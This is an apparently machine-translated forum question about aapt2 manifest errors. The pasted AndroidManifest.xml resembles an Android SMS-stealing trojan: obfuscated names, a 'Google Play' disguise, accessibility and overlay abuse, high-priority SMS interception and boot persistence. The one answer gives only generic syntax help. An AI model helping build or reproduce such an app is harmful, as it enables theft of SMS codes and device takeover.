如何修复:AndroidManifest.xml:26:错误:属性'android:name'

carvr3hs  于 2023-04-18  发布在  Android
关注(0)|答案(1)|浏览(199)

要构建我的APK文件,我运行以下命令:

/opt/android/build-tools/android-7.0/aapt2 link compiled_res/resources.zip /opt/android/platforms/android-23/android.jar --manifest App-APK/AndroidManifest.xml --java gen -o out/res.apk

但我在构建时得到以下错误:

App-APK/AndroidManifest.xml:26: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:32: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:38: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:44: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:49: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:55: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:67: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:77: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:83: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:84: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:85: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:86: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:87: error: attribute 'android:name' .
App-APK/AndroidManifest.xml:88: error: attribute 'android:name' .
error: failed processing manifest.

我的AndroidManifest.xml如下:

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="h                                                                                                                                                             ttp://schemas.android.com/apk/res/android" package="khjjhkghkg.yulyuuyklyuky" pl                                                                                                                                                             atformBuildVersionCode="1" platformBuildVersionName="1.0">
    <uses-permission name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission name="android.permission.SYSTEM_OVERLAY_WINDOW"/>
    <uses-permission name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
    <uses-permission name="android.permission.WAKE_LOCK"/>
    <uses-permission name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission name="android.permission.INTERNET"/>
    <uses-permission name="android.permission.RECEIVE_SMS"/>
    <uses-permission name="android.permission.READ_SMS"/>
    <uses-permission name="android.permission.READ_PHONE_STATE"/>
    <uses-permission name="android.permission.SEND_SMS"/>
    <uses-permission name="android.permission.VIBRATE"/>
    <uses-permission name="android.permission.GET_TASKS"/>
    <uses-permission name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIO                                                                                                                                                             NS"/>
    <uses-permission name="android.permission.READ_CONTACTS"/>
    <uses-permission name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission name="android.permission.WRITE_CONTACTS"/>
    <uses-permission name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission-sdk-23 name="android.permission.REQUEST_IGNORE_BATTERY_OPTI                                                                                                                                                             MIZATIONS"/>
    <uses-permission name="android.permission.CAMERA"/>
    <uses-feature name="android.hardware.camera"/>
    <uses-feature name="android.hardware.camera.autofocus"/>
    <uses-feature name="android.hardware.camera.front" required="false"/>
    <application allowBackup="true" debuggable="true" icon="@mipmap/ic_launcher"                                                                                                                                                              label="Google Play" screenOrientation="portrait" supportsRtl="true" theme="@sty                                                                                                                                                             le/Theme.Translucent.NoTitleBar">
        <activity android:name="khjjhkghkg.yulyuuyklyuky.rtfuyhtyhrtfrf">
            <intent-filter>
                <action name="android.intent.action.MAIN"/>
                <category name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <receiver enabled="true" exported="true" android:name="khjjhkghkg.yulyuu                                                                                                                                                             yklyuky.eryeryeryeryer" permission="android.permission.BROADCAST_SMS">
            <intent-filter priority="999">
                <action name="android.intent.action.BOOT_COMPLETED"/>
                <action name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver enabled="true" exported="false" android:name="khjjhkghkg.yulyu                                                                                                                                                             uyklyuky.eryeryeryeryery">
            <intent-filter>
                <action name="android.intent.action.BOOT_COMPLETED"/>
                <action name="Alram"/>
            </intent-filter>
        </receiver>
        <receiver android:name="khjjhkghkg.yulyuuyklyuky.rtyrtryrtytry" permissi                                                                                                                                                             on="android.permission.BROADCAST_SMS">
            <intent-filter>
                <action name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver android:name="khjjhkghkg.yulyuuyklyuky.rtuyrturtutrur" permiss                                                                                                                                                             ion="android.permission.BROADCAST_WAP_PUSH">
            <intent-filter>
                <action name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
                <data mimeType="application/vnd.wap.mms-message"/>
            </intent-filter>
        </receiver>
        <activity android:name="khjjhkghkg.yulyuuyklyuky.uykykuykyukyu">
            <intent-filter>
                <action name="android.intent.action.SEND"/>
                <action name="android.intent.action.SENDTO"/>
                <category name="android.intent.category.DEFAULT"/>
                <category name="android.intent.category.BROWSABLE"/>
                <data scheme="sms"/>
                <data scheme="smsto"/>
                <data scheme="mms"/>
                <data scheme="mmsto"/>
            </intent-filter>
        </activity>
        <service exported="true" android:name="khjjhkghkg.yulyuuyklyuky.tyiityit                                                                                                                                                             yityi" permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
            <intent-filter>
                <action name="android.intent.action.RESPOND_VIA_MESSAGE"/>
                <category name="android.intent.category.DEFAULT"/>
                <data scheme="sms"/>
                <data scheme="smsto"/>
                <data scheme="mms"/>
                <data scheme="mmsto"/>
            </intent-filter>
        </service>
        <service enabled="true" exported="false" label="Google Play" android:nam                                                                                                                                                             e="khjjhkghkg.yulyuuyklyuky.gdfgdfgfgfdgd" permission="android.permission.BIND_A                                                                                                                                                             CCESSIBILITY_SERVICE">
            <intent-filter>
                <action name="android.accessibilityservice.AccessibilityService"                                                                                                                                                             />
            </intent-filter>
            <meta-data name="android.accessibilityservice" resource="@xml/access                                                                                                                                                             ibility_service_config"/>
        </service>
        <service enabled="true" exported="true" android:name="khjjhkghkg.yulyuuy                                                                                                                                                             klyuky.rtutrutrurtu" permission="android.permission.BIND_JOB_SERVICE"/>
        <activity label="" android:name="khjjhkghkg.yulyuuyklyuky.sdfsfsdfsdfs"/                                                                                                                                                             >
        <activity label="" android:name="khjjhkghkg.yulyuuyklyuky.tuityiyttityi"                                                                                                                                                              screenOrientation="portrait"/>
        <service enabled="true" exported="true" android:name="khjjhkghkg.yulyuuy                                                                                                                                                             klyuky.urewerwerwe" process=":cproc"/>
        <service exported="true" android:name="khjjhkghkg.yulyuuyklyuky.eryeryer                                                                                                                                                             yeryr"/>
        <service exported="true" android:name="khjjhkghkg.yulyuuyklyuky.ityytity                                                                                                                                                             itit"/>
    </application>
</manifest>

我已经尝试将android:name重命名为name,我希望APK能够在没有任何错误的情况下构建,但这并没有发生。目标是让AndroidManifest为我的应用使用的每个权限声明uses-permission,并让appt2在没有任何错误的情况下构建APK文件。

xxls0lw8

xxls0lw81#

你的第一句话似乎很可疑:

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="h                                                                                                                                                             ttp://schemas.android.com/apk/res/android" package="khjjhkghkg.yulyuuyklyuky" pl                                                                                                                                                             atformBuildVersionCode="1" platformBuildVersionName="1.0">

删除"h"ttp:..."以及platform...之间的荒谬间距

相关问题